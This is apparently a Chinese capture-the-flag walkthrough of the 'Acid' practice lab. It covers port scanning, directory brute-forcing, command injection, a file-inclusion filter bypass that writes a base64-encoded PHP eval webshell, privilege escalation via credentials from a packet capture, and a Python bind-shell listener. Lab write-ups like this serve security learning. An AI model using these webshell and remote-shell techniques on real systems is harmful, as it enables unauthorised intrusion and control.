Acid靶场实战

Acid靶场实战——云尘靶场

先看题目描述

Acid靶场实战_第1张图片

物理机连接VPN后,虚拟机使用NAT模式便能共享主机的VPN

先进行主机探测

Acid靶场实战_第2张图片

发现两台主机,分别对他们进行全端口扫描

nmap -T4 -sS -sV -O -p 0-65535 172.25.0.1

Acid靶场实战_第3张图片

nmap -T4 -sS -sV -Pn -O -p 0-65535 172.25.0.10

Acid靶场实战_第4张图片

访问发现33447存在Web服务,是Apache的,但不知道咋回事,nmap没扫出来

Acid靶场实战_第5张图片

右键源代码发现一串Hex编码,解码后发现是bese64,继续解码,内容为wow.jpg

Acid靶场实战_第6张图片

网站标题里有个路径

访问是个登入页面

Acid靶场实战_第7张图片

Acid靶场实战_第8张图片

在源代码里发现   gkg.q

这是随机字符串,使用rot13解密并对其进行反转得到acid.txt

Acid靶场实战_第9张图片

 访问会要求登入

Acid靶场实战_第10张图片

再进行一波目录扫描

使用dirsearch进行扫描

Acid靶场实战_第11张图片

 啥也不是……

访问/image/wow.jpg    …………666,一张吊图

Acid靶场实战_第12张图片

下载图片后用010Edit打开,发现一串字符

Acid靶场实战_第13张图片

37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34

使用ASCII转码:7aee0f6d588ed9905ee37f16a7c610d4,去网站上使用MD5解密:63425

(辛苦解密半天……结果后面发现没啥用)

多款扫描器没扫出啥结果,使用owasp dirbuster进行目录爆破,有Windows版本,需要jdk8运行

 也可以使用wfuzz去爆破目录

Acid靶场实战_第14张图片

 Acid靶场实战_第15张图片

没啥东西,继续爆破/Challenge目录

Acid靶场实战_第16张图片

逐个访问

Acid靶场实战_第17张图片

访问/cake.php 时发现/Magic_Box

Acid靶场实战_第18张图片

继续爆破 /Challenge/Magic_Box

Acid靶场实战_第19张图片

访问/Challenge/Magic_Box/command.php,看这样子必定试一波命令注入

Acid靶场实战_第20张图片

您猜怎么着,还真是

Acid靶场实战_第21张图片

这里的靶机环境是不出网的,没法反弹shell,只好翻翻目录,看看网站源码

Acid靶场实战_第22张图片

这个include.php熟悉不熟悉,可疑不可疑?这不得读取源码,分析一波,

Acid靶场实战_第23张图片

您瞧瞧,这不就是经典的文件包含

直接访问include.php会跳转

Acid靶场实战_第24张图片

这怎么搞,搞个屁,对于Vulhnub的玩法最好是Google一波,然后看到一篇大哥的文章对我有点用,我也在想有没有办法登入,然后利用文件包含结合RCE将它日穿,爆破是一种思路,但这个靶机不太适用

回到前面

Acid靶场实战_第25张图片

大哥的文章说登入验证貌似与forms.js有关,

Acid靶场实战_第26张图片

可以看到有版权信息

我就直接Google搜索其版权信息“peredur.net”,在其github中发现默认密码

Acid靶场实战_第27张图片

登入成功

Acid靶场实战_第28张图片

此时访问include.php就不会跳转登入了,能够进行文件包含了

测试发现只在tmp文件夹下有权限,能写文件,那就写Shell,然后文件包含,

但是发现$_组合便有过滤,

此类写进去就会变成

破题之法:

system('echo PD9waHAgQGV2YWwoJF9QT1NUWydhYmMnXSk7Pz4= | base64 -d >/tmp/w1.php');

?>

 该代码执行后会在/tmp/w1.php里写入

先在tmp文件夹里使用touch命令创建abc.php

然后将前面的代码写进去,多写一个phpinfo();是为了方便确定php文件被包含成功 

Acid靶场实战_第29张图片

尝试包含,有phpinfo页面 ,说明包含成功

Acid靶场实战_第30张图片

查看Webshell是否写入

Acid靶场实战_第31张图片

测试Webshell有没有用

Acid靶场实战_第32张图片

为了方便操作与提权,开蚁剑的好,这里要配置Cookie信息

(先在浏览器登入,然后复制其cookie填入,注意,时间一长cookie会失效导致蚁剑断开 )

Acid靶场实战_第33张图片

成功连接 

Acid靶场实战_第34张图片

翻找用户文件

Acid靶场实战_第35张图片

在Linux系统中,".sudo_as_admin_successful" 是由sudo命令创建的一个文件。当使用sudo命令以管理员权限运行一个命令时,它将创建这个文件来指示该命令已成功以管理员权限运行。 

针对该用户进行文件的查找,该命令用于在整个文件系统中查找所有属于用户"acid"的文件并将结果输出到屏幕上

find / -user acid 2>/dev/null

发现一个流量包

Acid靶场实战_第36张图片

下载下来分析,分数据包种类跟踪流,查看数据包信息TCP时发现

Acid靶场实战_第37张图片

 应该是账号密码

要切换用户就要想办法获取交互式Shell,该环境存在python,且自带的发行版nc没有-e参数

哪我就上传一个nc,加权限,执行

Acid靶场实战_第38张图片

Acid靶场实战_第39张图片

python -c 'import pty;pty.spawn("/bin/bash")' 

利用python取得一个半交互式shell

此时就可以使用su命令切换用户

Acid靶场实战_第40张图片

一路切换,一直切换到了root,嘿嘿。

Acid靶场实战_第41张图片

可以为所欲为了,开找flag

Acid靶场实战_第42张图片

本来是想用python脚本启动监听,再进行连接的,可我服务器可以运行的代码跑靶机上就不行了,(靶机python2和3都有)

这是我用的代码,为正向shell而生,然而,没在靶机上跑起来……


import socket
import subprocess

HOST = ''  # 监听所有网络接口
PORT = 4444  # 监听端口

# 创建socket对象并绑定到指定的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))

# 开始监听端口
s.listen()

# 等待客户端连接并执行命令
conn, addr = s.accept()
while True:
    command = conn.recv(1024).decode('utf-8')
    if not command:
        break
    output = subprocess.getoutput(command)
    conn.send(output.encode('utf-8'))

# 关闭连接
conn.close()

参考学习:

https://chat.openai.com/chat

https://www.cnblogs.com/k1115h0t/p/15857648.html

CTF Walkthrough – Acid: Server (Vulnhub) – Jasper & Garrison

你可能感兴趣的:(靶机,网络安全,安全)